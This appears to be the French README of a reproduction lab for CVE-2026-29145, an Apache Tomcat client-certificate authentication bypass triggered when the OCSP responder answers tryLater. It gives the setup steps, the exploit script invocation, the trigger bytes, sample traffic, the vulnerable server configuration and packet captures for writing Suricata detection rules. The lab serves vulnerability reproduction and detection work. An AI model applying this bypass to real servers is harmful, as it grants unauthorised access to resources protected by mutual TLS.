
Environnement PoC reproductible pour le contournement soft-fail OCSP + CLIENT_CERT d'Apache Tomcat CVE-2026-29145, comprenant des scripts d'exploitation, un répondeur OCSP simulé et des règles de détection Suricata.
Apache Tomcat CLIENT_CERT + contournement OCSP soft-fail – environnement de reproduction complet, paquets d'exploitation et règles de détection Suricata.
Usage exclusif pour la recherche de sécurité autorisée et le développement de règles de détection. Ne pas utiliser sur des systèmes non autorisés.
| Élément | Description |
|---|---|
| CVE | CVE-2026-29145 |
| Composant | Apache Tomcat / Tomcat Native |
| Type | Contournement d'authentification (mTLS / CLIENT_CERT) |
| CVSS | 9.1 (NVD) / Moderate (Apache) |
| Versions impactées | Tomcat 10.1.0-M7–10.1.52, 9.0.83–9.0.115, 11.0.0-M1–11.0.18 ; Native 2.0.0–2.0.13 etc. |
| Versions corrigées | Tomcat 10.1.53+ / 9.0.116+ / 11.0.20+ ; Native 2.0.14+ |
Lorsque Tomcat active CLIENT_CERT avec OCSP et configure ocspSoftFail=false (échec strict), certains chemins d'échec OCSP, notamment le statut de réponse tryLater, ne sont toujours pas traités comme un échec strict, permettant à des certificats clients qui auraient dû être rejetés d'être acceptés et aux ressources protégées d'être accessibles.
Le correctif officiel (ex. Tomcat commit fe26667c) aligne le traitement de TRY_LATER OCSP dans la voie FFM avec celui de Tomcat Native.
Sur Tomcat 10.1.52 + Tomcat Native 2.0.12 :
Point clé : il est nécessaire de recevoir tryLater selon la RFC 6960 ; un simple HTTP 500 ne suffit pas pour déclencher le contournement dans cet environnement.
CVE-2026-29145-Everything/
├── README.md # Ce fichier
├── REPRODUCTION.md # Notes de reproduction détaillées et conseils Suricata
├── docker-compose.yml # Tomcat vulnérable + Mock OCSP
├── poc_exploit.py # Script d'exploitation / détection (code de sortie 10 = vulnérable)
├── simple_proxy_fail.py # Mock OCSP (fail / succeed / try_later / internal_error)
├── setup_certs.sh # Génération de certificats CA / serveur / client (avec AIA OCSP)
├── capture_exploit.sh # Exploitation et capture de paquets en une commande
├── run_test.sh / cleanup.sh
├── requirements.txt
├── tomcat/
│ ├── server.xml # mTLS + ocspEnabled + ocspSoftFail=false
│ ├── tomcat-users.xml # Mappage utilisateurs CLIENT-CERT
│ ├── ROOT/ # Patch minimal pour ROOT par défaut de l'image officielle
│ └── protected/ # Ressource protégée + web.xml (CLIENT-CERT)
└── pcaps/ # ★ Trafic d'exploitation capturé (pour écrire des règles)
├── CVE-2026-29145-mtls-and-ocsp.pcap # Paquet principal : mTLS + OCSP
├── CVE-2026-29145-ocsp-only.pcap # OCSP en clair uniquement
├── CVE-2026-29145-mtls-only.pcap # TLS 8443 uniquement
└── exploit_response.html # Instantané de la réponse d'exploitation réussie
Le répertoire des clés privées certs/ est ignoré par .gitignore par défaut ; doit être généré localement.
pip install -r requirements.txt ou python3-requests système)git clone https://github.com/gkdgkd123/CVE-2026-29145-Everything.git
cd CVE-2026-29145-Everything
# 1. Générer les certificats (AIA pointant vers le nom du service OCSP dans Docker)
rm -rf certs
OCSP_URL=http://ocsp-responder:8888 ./setup_certs.sh
# 2. Démarrer l'environnement (OCSP_MODE=try_later par défaut)
docker compose up -d
# Attendre healthy
docker compose ps
# 3. Exécuter le PoC
python3 poc_exploit.py
# Sortie attendue :
# [WARNING] VULNERABLE: Access granted despite OCSP check failure.
# Code de sortie 10 = vulnérable ; 0 = non exploitable / corrigé
Vérification manuelle :
curl -sk --http1.1 \
--cert certs/client-cert.pem \
--key certs/client-key.pem \
--cacert certs/ca-chain.pem \
https://127.0.0.1:8443/protected-resource/
./capture_exploit.sh
# Sortie dans pcaps/CVE-2026-29145-*.pcap
Le dépôt contient déjà un pcap d'exploitation réussi, utilisable directement pour valider des règles Suricata, sans avoir à recapturer.
# tryLater — chemin de déclenchement de la CVE (par défaut)
OCSP_MODE=try_later docker compose up -d --force-recreate
# Échec HTTP 500 (dans cet environnement, l'échec strict rejette)
OCSP_MODE=fail docker compose up -d --force-recreate
# Simulation de succès OCSP (body non-DER réel, seulement pour tester la connectivité)
OCSP_MODE=succeed docker compose up -d --force-recreate
# DER internalError
OCSP_MODE=internal_error docker compose up -d --force-recreate
Important : Le port 8443 est du mTLS chiffré en TLS 1.3 ; ouvert dans Wireshark, il ressemble à du charabia.
Le port 8888 (OCSP) est en HTTP clair – privilégiez l'analyse de l'OCSP pour écrire des règles.
Voir les détails complets dans pcaps/README.md.
POST / HTTP/1.0
Host: ocsp-responder:8888
Content-Type: application/ocsp-request
HTTP/1.0 200 OK
Content-Type: application/ocsp-response
Content-Length: 5
[5 bytes DER] 30 03 0a 01 03 # tryLater
GET /protected-resource/ HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: CVE-2026-29145-PoC/1.0
HTTP/1.1 200
Content-Type: text/html
...
Protected Resource Access Granted
Wireshark : Preferences → Protocols → TLS → (Pre)-Master-Secret log filename = pcaps/sslkeys.log
tshark -r pcaps/CVE-2026-29145-with-keys.pcap -o tls.keylog_file:pcaps/sslkeys.log -Y 'http && tcp.port==8443' -V
Voir les détails dans REPRODUCTION.md et pcaps/README.md.
<Connector port="8443" SSLEnabled="true"
sslImplementationName="org.apache.tomcat.util.net.openssl.OpenSSLImplementation"
...>
<SSLHostConfig
certificateVerification="required"
caCertificateFile="conf/certs/ca-chain.pem"
ocspEnabled="true"
ocspSoftFail="false"
ocspTimeout="5">
<Certificate ... />
</SSLHostConfig>
</Connector>
La configuration applicative CLIENT-CERT se trouve dans tomcat/protected/WEB-INF/web.xml.
ocspSoftFail et l'accessibilité OCSP ; effectuer des tests de régression sur les comportements d'inaccessibilité/tryLater./cleanup.sh
# ou
docker compose down -v
CVE-2026-29145-Tester (ce dépôt a renforcé et enregistré des configurations reproductibles et le chemin tryLater)Ce projet est destiné uniquement à des fins éducatives, de test de pénétration autorisé et de développement de règles de détection d'intrusion. L'utilisateur doit s'assurer qu'il dispose d'une autorisation légale sur le système cible. L'auteur n'est pas responsable des mauvaises utilisations.
| Comportement OCSP | ocspSoftFail | Résultat |
|---|
DER tryLater (30 03 0a 01 03) | false | HTTP 200 — contournement réussi |
| HTTP 500 | false | Rejet TLS (échec strict effectif) |
| Timeout OCSP | false | Rejet TLS |
| Échec quelconque | true | 200 (soft-fail attendu) |
| Fichier | Description |
|---|
pcaps/CVE-2026-29145-with-keys.pcap + pcaps/sslkeys.log | Session complète déchiffrable |
pcaps/CVE-2026-29145-ocsp-only.pcap | OCSP en clair (pas besoin de clés) |
pcaps/cleartext/04_OCSP_HTTP_RECONSTRUCTED_CLEARTEXT.txt | Texte lisible HTTP OCSP |
pcaps/cleartext/03_MTLS_HTTP_RECONSTRUCTED_CLEARTEXT.txt | Texte HTTP métier après déchiffrement |
rules/cve-2026-29145.rules | Exemple de règle Suricata |